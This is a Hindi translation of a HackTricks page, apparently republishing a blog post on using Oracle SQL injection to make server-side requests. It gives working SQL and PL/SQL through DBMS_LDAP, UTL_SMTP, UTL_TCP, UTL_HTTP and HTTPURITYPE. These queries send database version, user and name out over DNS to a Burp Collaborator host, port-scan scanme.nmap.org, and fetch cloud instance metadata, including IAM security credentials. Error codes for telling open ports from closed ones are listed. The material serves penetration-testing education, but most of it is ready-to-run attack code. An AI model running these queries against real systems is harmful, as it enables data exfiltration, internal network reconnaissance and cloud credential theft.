Oracle injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

इस पोस्ट को https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/ से हटाए गए पोस्ट की वे बैक मशीन कॉपी सर्व करें।

SSRF

ओरेकल का उपयोग Out of Band HTTP और DNS अनुरोध करने के लिए अच्छी तरह दस्तावेजीकृत है, लेकिन इंजेक्शन में SQL डेटा को बाहर निकालने के एक साधन के रूप में। हम हमेशा इन तकनीकों/फ़ंक्शनों को बदल सकते हैं ताकि अन्य SSRF/XSPA किया जा सके।

ओरेकल को इंस्टॉल करना वास्तव में बहुत पीड़ादायक हो सकता है, खासकर अगर आप त्वरित उदाहरण सेट करना चाहते हैं। मेरे दोस्त और सहकर्मी Appsecco पर, Abhisek Datta, ने मुझे https://github.com/MaksymBilenko/docker-oracle-12c पर पहुंचाया जिसने मुझे एक t2.large AWS Ubuntu मशीन और डॉकर पर एक उदाहरण सेटअप करने की अनुमति दी।

मैंने --network="host" फ़्लैग के साथ डॉकर कमांड चलाई ताकि मैं ओरेकल को एक स्थानिक स्थापना के रूप में पूर्ण नेटवर्क एक्सेस के साथ मिमिक कर सकूं, इस ब्लॉगपोस्ट के दौरान।

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

उन Oracle पैकेजेस को जो URL या Hostname/Port Number निर्दिष्टि का समर्थन करते हैं

किसी भी पैकेज और फ़ंक्शन को खोजने के लिए जो होस्ट और पोर्ट निर्दिष्टि का समर्थन करते हैं, मैंने Oracle डेटाबेस ऑनलाइन दस्तावेज़ीकरण पर गूगल खोज चलाई। विशेष रूप से,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

खोज ने निम्नलिखित परिणाम वापस किए (बाहरी नेटवर्क कार्रवाई करने के लिए सभी का उपयोग नहीं किया जा सकता)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

यह क्रूड खोज स्पष्ट रूप से DBMS_LDAP जैसे पैकेजों को छोड़ देता है (जो एक होस्टनाम और पोर्ट नंबर पास करने की अनुमति देता है) क्योंकि दस्तावेज़ पृष्ठ आपको बस एक विभिन्न स्थान पर ले जाता है। इसलिए, ऐसे अन्य ओरेकल पैकेज हो सकते हैं जिनका उपयोग बाहरी अनुरोध करने के लिए किया जा सकता है जिन्हें मैंने छूटा सकता है।

हर गति, चलो हम कुछ पैकेजों पर एक नज़र डालते हैं जिन्हें हमने खोजा और ऊपर सूचीबद्ध किया है।

DBMS_LDAP.INIT

DBMS_LDAP पैकेज LDAP सर्वर से डेटा तक पहुंचने की अनुमति देता है। init() फ़ंक्शन एक LDAP सर्वर के साथ एक सत्र को प्रारंभ करता है और एक होस्टनाम और पोर्ट नंबर को एक तर्क के रूप में लेता है।

इस फ़ंक्शन को पहले से ही डोक्यूमेंट किया गया है ताकि डेटा को DNS के माध्यम से बाहर ले जाया जा सके, जैसे की नीचे दिखाया गया है

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

हालांकि, यह फ़ंक्शन एक होस्टनाम और एक पोर्ट नंबर को तर्क के रूप में स्वीकार करता है, आप इसका उपयोग पोर्ट स्कैनर की तरह करने के लिए भी कर सकते हैं।

यहाँ कुछ उदाहरण हैं:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - प्रारंभ विफल हुआ। दिखाता है कि पोर्ट बंद है जबकि एक सत्र मान खुले पोर्ट की ओर पोइंट करता है।

UTL_SMTP

UTL_SMTP पैकेज को SMTP के माध्यम से ई-मेल भेजने के लिए डिज़ाइन किया गया है। ओरेकल दस्तावेज़ साइट पर दिए गए उदाहरण में दिखाया गया है कि आप इस पैकेज का उपयोग कैसे कर सकते हैं। हालांकि, हमारे लिए, दिलचस्प बात है होस्ट और पोर्ट विनिर्देश करने की क्षमता के साथ।

एक कच्चा उदाहरण नीचे दिखाया गया है UTL_SMTP.OPEN_CONNECTION फ़ंक्शन के साथ, जिसमें 2 सेकंड का समय सीमा है।

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

UTL_TCP

UTL_TCP पैकेज और इसकी प्रक्रियाएँ और फ़ंक्शन सेवाओं के साथ TCP/IP आधारित संचार की अनुमति देते हैं। यदि किसी विशेष सेवा के लिए प्रोग्राम किया गया है, तो यह पैकेज आसानी से नेटवर्क में प्रवेश के लिए एक तरीका बन सकता है या पूर्ण सर्वर साइड अनुरोध कर सकता है क्योंकि एक TCP/IP कनेक्शन के सभी पहलुओं को नियंत्रित किया जा सकता है।

उदाहरण ऑरेकल दस्तावेज़ साइट पर दिखाया गया है कि आप इस पैकेज का उपयोग कैसे कर सकते हैं ताकि आप एक रॉ TCP कनेक्शन बना सकें और एक वेब पेज ला सकें। हम इसे और भी सरल बना सकते हैं और उसे मिटाकर उदाहरण के लिए मेटाडेटा इंस्टेंस या किसी अन्य TCP/IP सेवा के लिए अनुरोध करने के लिए उपयोग कर सकते हैं।

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

UTL_HTTP और वेब अनुरोध

दिलचस्पी से, क्योंकि रॉ TCP अनुरोधों को तैयार करने की क्षमता है, इस पैकेज का उपयोग सभी क्लाउड प्रदाताओं की इंस्टेंस मेटा-डेटा सेवा का पूछताछ करने के लिए भी किया जा सकता है क्योंकि विधि प्रकार और अतिरिक्त हेडर सभी TCP अनुरोध के भीतर पारित किए जा सकते हैं।

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

आप इसका उपयोग करके कुछ प्राथमिक पोर्ट स्कैनिंग भी कर सकते हैं जैसे कि क्वेरीज़ के साथ

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener या TNS:operation timed out एक संकेत है कि TCP पोर्ट बंद है, जबकि ORA-29263: HTTP protocol error या डेटा एक संकेत है कि पोर्ट खुला है।

मैंने पिछले में एक अन्य पैकेज का उपयोग किया है जिसमें विभिन्न सफलता थी, वह है GETCLOB() मेथड का उपयोग करना HTTPURITYPE ओरेकल अबस्ट्रैक्ट टाइप जो आपको एक URL के साथ बातचीत करने और HTTP प्रोटोकॉल के लिए समर्थन प्रदान करता है। GETCLOB() मेथड का उपयोग किया जाता है एक URL से GET प्रतिक्रिया को एक CLOB डेटा प्रकार के रूप में प्राप्त करने के लिए। [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Last updated